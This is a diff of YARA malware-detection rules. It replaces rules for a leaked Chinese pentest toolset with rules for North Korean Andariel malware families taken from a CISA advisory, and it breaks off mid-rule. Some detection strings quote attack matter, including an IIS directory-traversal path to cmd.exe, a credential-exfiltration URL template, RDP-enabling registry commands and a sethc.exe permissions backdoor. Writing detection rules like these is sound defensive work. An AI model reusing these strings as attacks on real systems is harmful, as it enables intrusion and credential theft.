+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Scheduledtask_Loader : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Hookmsgina.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "77813637-ec9f-599c-90c9-be1dd93b45f7"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2036-L2053"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f4d9b329b45fbcf6a3b9f29f2633d5d3d76c9f9d"
-		logic_hash = "1e268624a5f8df200ef1a03ce167f38feda59836a864e17297473ba223c5895a"
-		score = 70
+		description = "Detects a scheduled task loader used by Andariel"
+		author = "CISA.gov"
+		id = "0c32758b-480c-5784-b28f-cee85d038850"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L3-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d32ee777cb40c6fa58787e92c0de074ea5b81d629a17ccb4f9432d62436f03c"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\\\.\\pipe\\WinlogonHack" fullword ascii
-		$s2 = "%s?host=%s&domain=%s&user=%s&pass=%s&port=%u" fullword ascii
-		$s3 = "Global\\WinlogonHack_Load%u" fullword ascii
-		$s4 = "Hookmsgina.dll" fullword ascii
+		$obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 }
+		$obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 }
+		$obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00 00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8 01 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_Xp3389 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Kaosrat_Yamabot
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file xp3389.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "75d23c63-ba9e-55fd-90fe-5e054d28a777"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2055-L2071"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d776eb7596803b5b94098334657667d34b60d880"
-		logic_hash = "7fd7947a802a65dfd63ece3fc6eaf2da8207e99276a9f6b1ff2c937cf4327945"
+		description = "Detects the KaosRAT variant"
+		author = "CISA.gov"
+		id = "cdde69cd-1b38-52f5-8552-cef2cf4ad69c"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L19-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "92182aac2e56041292102b0486b7de1ee6eb3d54a9fc6786c567acd92073cd84"
 		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "echo \"fdenytsconnections\"=dword:00000000 >> c:\\reg.reg" fullword ascii
-		$s2 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] >" ascii
-		$s3 = "echo \"Tsenabled\"=dword:00000001 >> c:\\reg.reg" fullword ascii
+		$str1 = "/kaos/"
+		$str2 = "Abstand ["
+		$str3 = "] anwenden"
+		$str4 = "cmVjYXB0Y2hh"
+		$str5 = "/bin/sh"
+		$str6 = "utilities.CIpaddress"
+		$str7 = "engine.NewEgg"
+		$str8 = "%s%04x%s%s%s"
+		$str9 = "Y2FwdGNoYV9zZXNzaW9u"
+		$str10 = "utilities.EierKochen"
+		$str11 = "kandidatKaufhaus"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and all of them
+		3 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Cookiesview : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Trifaux_Easyrat_JUPITER : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file CookiesView.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "71a43797-4b5b-5f87-a70e-ebabc00d9319"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2073-L2089"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c54e1f16d79066edfa0f84e920ed1f4873958755"
-		logic_hash = "9711bb15f08c18ba068325d1cca0ded8e252ded4ceddfb134d1317ad8a19fbe8"
-		score = 70
+		description = "Detects a variant of the EasyRAT malware family"
+		author = "CISA.gov"
+		id = "8bd72287-59da-53cf-9015-66149303e59f"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L42-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6108035dbebd34fe994fc1f8b4123321321f6ed5c022be6e84a88f905ea6fb73"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "V1.0  Http://www.darkst.com Code:New4" fullword ascii
-		$s1 = "maotpo@126.com" fullword ascii
-		$s2 = "www.baidu.com" fullword ascii
+		$InitOnce = "InitOnceExecuteOnce"
+		$BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A }
+		$Bytes = "4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00," wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <640KB and all of them
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_T00Ls_Lpk_Sethc_V4_LPK : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Cutiedrop_Magicrat : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "808f5de2-1360-521e-8939-b759e361507c"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2091-L2108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2b2ab50753006f62965bba83460e3960ca7e1926"
-		logic_hash = "a7382d61b53706ad51b36bc686a1c3f0018ee111bdc8ae9b05af144230dfbba3"
-		score = 70
+		description = "Detects the MagicRAT variant used by Andariel"
+		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
+		id = "104244de-83fb-5112-a2b6-e20d38a6ced6"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L58-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f289bbd71bdeaf2c42063642454679ec26de5ed24c020af40db694a0ced54884"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://127.0.0.1/1.exe" fullword wide
-		$s2 = "FreeHostKillexe.exe" fullword ascii
-		$s3 = "\\sethc.exe /G everyone:F" ascii
-		$s4 = "c:\\1.exe" fullword ascii
+		$config_os_w = "os/windows" ascii
+		$config_os_l = "os/linux" ascii
+		$config_os_m = "os/mac" ascii
+		$config_comp_msft = "company/microsoft" ascii
+		$config_comp_orcl = "company/oracle" ascii
+		$POST_field_1 = "session=" ascii
+		$POST_field_2 = "type=" ascii
+		$command_misspelled = "renmae" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 1 of them
+		uint16(0)==0x5a4d and 7 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Scanhistory : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_HHSD_Filetransfertool : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ScanHistory.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "85585cd2-c5ed-5465-bcac-b61211570055"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2110-L2126"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "14c31e238924ba3abc007dc5a3168b64d7b7de8d"
-		logic_hash = "657a25b5103799446fa88abda39d36a05e080c18d41e9dd98199b506f2bfc419"
+		description = "Detects a variant of the HHSD File Transfer Tool"
+		author = "CISA.gov"
+		id = "46b6dbaf-1272-5bbd-a586-5e48ba6c5022"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L83-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "757fd5e34bcbdf4efdc86a9dff058d92a0479019fbda1d26ad3ee4924b59f0cb"
 		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "ScanHistory.exe" fullword wide
-		$s2 = ".\\Report.dat" fullword wide
-		$s3 = "select  * from  Results order by scandate desc" fullword wide
+		$handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 }
+		$err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 }
+		$buf_add_cmp_1f = { 4? 02 ?? 4? 02 ?? 3? 1F }
+		$hash_call_loadlib = { B? 8D 10 B7 F8 E8 }
+		$hash_call_unk = { B? 91 B8 F6 88 E8 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and 1 of ($handshake,$err_xor_str,$buf_add_cmp_1f) and 1 of ($hash_call_*) or 2 of ($handshake,$err_xor_str,$buf_add_cmp_1f)
 }
-rule SIGNATURE_BASE_CN_Honker_Invasionerasor : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Atharvan_3RAT : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file InvasionErasor.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "03ccb643-9f92-5278-a358-65f56cf19ccc"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2128-L2146"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b37ecd9ee6b137a29c9b9d2801473a521b168794"
-		logic_hash = "d2f742693682e9409284706a3eb63536a576cb162629bf76bfabf2e0210984a3"
-		score = 70
+		description = "Detects a variant of the Atharvan 3RAT malware family"
+		author = "CISA.gov"
+		id = "9ff6998a-a2dd-5671-bd3f-ee69561f71ef"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L122-L135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "741318234e245a35accc0b102a7891559ce5ef868ccdc3e6e4c8e59d8dea8b24"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "c:\\windows\\system32\\config\\*.*" fullword wide
-		$s2 = "c:\\winnt\\*.txt" fullword wide
-		$s3 = "Command1" fullword ascii
-		$s4 = "Win2003" fullword ascii
-		$s5 = "Win 2000" fullword ascii
+		$3RAT = "D:\\rang\\TOOL\\3RAT"
+		$atharvan = "Atharvan_dll.pdb"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of them
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Super_Injection1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Lilithrat_Variant : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file super Injection1.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ad84c5a0-4f03-5040-bdf7-819b40a08ad2"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2148-L2164"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8ff2df40c461f6c42b92b86095296187f2b59b14"
-		logic_hash = "11a3628b7c34a34dc37604430195e24063d3f0dd0889d6d782ce0ee42cafbb02"
-		score = 70
+		description = "Detects a variant of the Lilith RAT malware family"
+		author = "CISA.gov (modified by Florian Roth, Nextron Systems)"
+		id = "916a289b-db7b-5f09-9d3e-589c3f09101d"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L137-L171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3ce68908468ff85683b081842fa4faa579fbf6f7dc1a7fab5dcf7eac63d90aea"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Invalid owner=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide
-		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
-		$s4 = "ScanInject.log" fullword ascii
+		$lilith_1 = "Initiate a CMD session first." ascii
+		$lilith_2 = "CMD is not open" ascii
+		$lilith_3 = "Couldn't write command" ascii
+		$lilith_4 = "Couldn't write to CMD: CMD not open" ascii
+		$unique_1 = "Upload Error!" ascii
+		$unique_2 = "ERROR: Downloading is already running!" ascii
+		$unique_3 = "ERROR: Unable to open file:" ascii
+		$unique_4 = "General error" ascii
+		$unique_5 = "CMD error" ascii
+		$unique_6 = "killing self" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		uint16(0)==0x5a4d and filesize <150KB and ( all of ($lilith_*) or 4 of ($unique_*) or 1 of ($lilith_4,$unique_2))
 }
-rule SIGNATURE_BASE_CN_Honker_Pk_Pker : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Sockstroy_Strings_Opcodes : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Pker.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dff0e4fb-6b2e-5fa8-910d-63a9e5030b95"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2166-L2186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "631787f27f27c46f79e58e1accfcc9ecfb4d3a2f"
-		logic_hash = "ea29bc82131751f0aaa4f10cc7576a27d243fb7dade03db7ae3dcb029b306505"
-		score = 70
+		description = "Detects a variant of the SocksTroy malware family"
+		author = "CISA.gov"
+		id = "9e7fb6ba-771e-5cae-a0d5-c0b95ee6d4e9"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L173-L191"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ab31b285d0dba1745a2d8b172bd02931c6138e2b8e541203b88f111d179549b"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe" fullword wide
-		$s2 = "msadc/..\\..\\..\\..\\winnt/system32/cmd.exe" fullword wide
-		$s3 = "--Made by VerKey&Only_Guest&Bincker" fullword wide
-		$s4 = ";APPLET;EMBED;FRAMESET;HEAD;NOFRAMES;NOSCRIPT;OBJECT;SCRIPT;STYLE;" fullword wide
-		$s5 = " --Welcome to Www.Pker.In Made by V.K" fullword wide
-		$s6 = "Report.dat" fullword wide
-		$s7 = ".\\Report.dat" fullword wide
+		$strHost = "-host" wide
+		$strAuth = "-auth" wide
+		$SocksTroy = "SocksTroy"
+		$cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and 5 of them
+		uint16(0)==0x5a4d and (1 of ($str*) and all of ($c*) or all of ($Socks*))
 }
-rule SIGNATURE_BASE_CN_Honker_Getpass_Getpass : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Agni : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file GetPass.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "999d0ac0-a112-53db-9dbe-10fa4419cfae"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2188-L2204"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
-		logic_hash = "90d802da512f5d460eda6d644660711601d361e2402522d085d3225931a3fca3"
-		score = 70
+		description = "Detects samples of the Agni malware family"
+		author = "CISA.gov"
+		id = "ffe3f427-c10a-5ad4-ab29-c0d9b576c30f"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L193-L207"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "302899b65e5a3a6beabbb46e80e3f0ff246c209206cc3a7f871011d68871d0b9"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\only\\Desktop\\" ascii
-		$s2 = "To Run As Administuor" ascii
-		$s3 = "Key to EXIT ... & pause > nul" fullword ascii
+		$xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 }
+		$stackstrings = { C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and #xor>100 and #stackstrings>5
 }
-rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_Blackmoon_Jun15 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Golang_Validalpha_Handshake
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file f4ck.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "df12daca-8e03-5382-b71d-96a747d3a043"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		old_rule_name = "CN_Honker_F4ck_Team_f4ck_3"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2206-L2227"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7e3bf9b26df08cfa10f10e2283c6f21f5a3a0014"
-		logic_hash = "85db31c6bca6e5ddd45168a3adbc382d5a9e8128e0b2a6ed5efe1a2fcd42ff3d"
-		score = 70
+		description = "Detects a variant of the GoLang Validalpha malware"
+		author = "CISA.gov"
+		id = "51dafa43-9da0-569a-9123-7e9800284046"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L209-L220"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1978210d07d3298c0051c9faca16685636e3fb45131b4c2fcb7053a0b3ef84d1"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "File UserName PassWord [comment] /add" fullword ascii
-		$s2 = "No Net.exe Add User" fullword ascii
-		$s3 = "BlackMoon RunTime Error:" fullword ascii
-		$s4 = "Team.F4ck.Net" fullword wide
-		$s5 = "admin 123456789" fullword ascii
-		$s6 = "blackmoon" fullword ascii
-		$s7 = "f4ck Team" fullword wide
+		$ = { 66 C7 00 AB CD C6 40 02 EF ?? 03 00 00 00 48 89 C1 ?? 03 00 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 4 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_F4Ck_3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Golang_Validalpha_Tasks
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file F4ck_3.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1767669f-47d0-5d6e-97a5-92522f988102"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2229-L2248"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0b3e9381930f02e170e484f12233bbeb556f3731"
-		logic_hash = "870d22be85da127b3ebfd3f8ec547b6ad1cdc8048b56aea494e8d2643bd61d77"
-		score = 70
+		description = "Detects a variant of the GoLang Validalpha malware"
+		author = "CISA.gov"
+		id = "caa67a79-3ea6-5910-971c-f311722570ff"
+		date = "2024-07-25"
+		modified = "2024-07-26"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_nk_andariel_jul24.yar#L222-L236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d3fb944888b289d345ffc8dfcc988abd04b8cabd1729a66e8236f95ee6147ee"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "F4ck.exe" fullword wide
-		$s2 = "@Netapi32.dll" fullword ascii
-		$s3 = "Team.F4ck.Net" fullword wide
-		$s6 = "NO Net Add User" fullword wide
-		$s7 = "DLL ERROR" fullword ascii
-		$s11 = "F4ck Team" fullword wide
+		$ = "main.ScreenMonitThread"
+		$ = "main.CmdShell"
+		$ = "main.GetAllFoldersAndFiles"
+		$ = "main.SelfDelete"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 3 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_ACCESS_Brute : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_APT_NK_Andariel_Golang_Validalpha_Blackstring : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ACCESS_brute.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7ceaea93-4f23-50a3-ab39-8149b10ffdad"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
